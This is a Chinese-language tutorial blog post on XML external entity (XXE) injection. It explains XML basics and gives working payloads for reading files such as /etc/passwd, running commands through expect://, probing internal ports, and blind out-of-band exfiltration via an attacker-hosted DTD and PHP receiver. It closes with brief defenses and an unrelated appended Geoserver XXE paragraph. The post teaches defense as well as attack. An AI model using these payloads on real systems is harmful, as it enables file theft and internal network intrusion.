xxe漏洞总结

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤只要路是对的,就不怕路远

目录

一、XML基础

1.XML概念

2.XML文档

3.XML学习

二、XXE漏洞简介

1.原理

2.危害

三、XXE利用

1.任意文件读取

2.系统命令执行

3.探测内网端口

4.无回显XXE

四、XXE防御


一、XML基础

1.XML概念

        XML是一种用于标记电子文件使其具有结构性的可扩展标记语言;

        XML非常灵活,类似于HTML,但无固定标签,其标签可自定义,XML用于传输数据,而HTML用于显示数据;

2.XML文档

XML文档包括XML声明、DTD文档类型定义和文档元素

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>         <!--XML文档声明-->
<!--DTD文档类型定义-->
<!DOCTYPE root[                                <!--DTD声明-->
        <!ENTITY ha "哈哈">                    <!--一般实体、内部实体-->
        <!ENTITY % hd "哈">                  <!--参数实体、内部实体-->
        %hd;                                   <!--参数实体需在dtd中引用-->
        <!ENTITY p SYSTEM "http://192.168.1.1/mydata.dtd">   <!--外部实体,引入外部dtd文件-->
        <!ENTITY passwd SYSTEM "file:///etc/passwd">         <!--外部实体,读取外部文件-->
]>
<!--文档元素-->
<root>                             <!--自定义根元素-->
  <name>haha</name>                <!--自定义子元素,变量name=haha-->
  <ab>&ha;</ab>                    <!--引用一般实体,变量ab=哈哈-->
  <logo>%hd;</logo>                <!--引用参数实体,变量logo=哈-->
  <de>&passwd;</de>                <!--引用外部实体,变量de值为/etc/passwd文件内容-->
</root>

3.XML学习

XML 教程 | 菜鸟教程

二、XXE漏洞简介

1.原理

        XXE(XML External Entity Injection),即XML外部实体注入攻击漏洞,应用程序在解析XML时加载了恶意外部实体,造成XXE漏洞攻击;

2.危害

        ①任意文件读取;

        ②执行系统命令;

        ③探测内网端口;

三、XXE利用

1.任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

利用XXE漏洞读取/flag文件:

2.系统命令执行

在安装了expect扩展的php环境里可执行系统命令,如执行 ifconfig 命令:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

3.探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<user>
	<username>&xxe;</username>
    <password>123</password>
</user>

4.无回显XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://192.168.3.10/h.dtd">
    %remote;
    %all;
    %send;
]>

攻击者主机的第一个文件,test.php:

<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>

攻击者主机的第二个文件,h.dtd:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.3.10/test.php?file=%file;'>">

最后会在攻击者主机上生成test.txt文件,内容为无回显的结果;

四、XXE防御

        ①字符串实体编码;

        ②对XML数据过滤,如关键字SYSTEM等;

        ③禁用外部实体,libxml_disable_entity_loader(true);

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXE(XML外部实体)漏洞XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞,并在新版本中发布修复程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值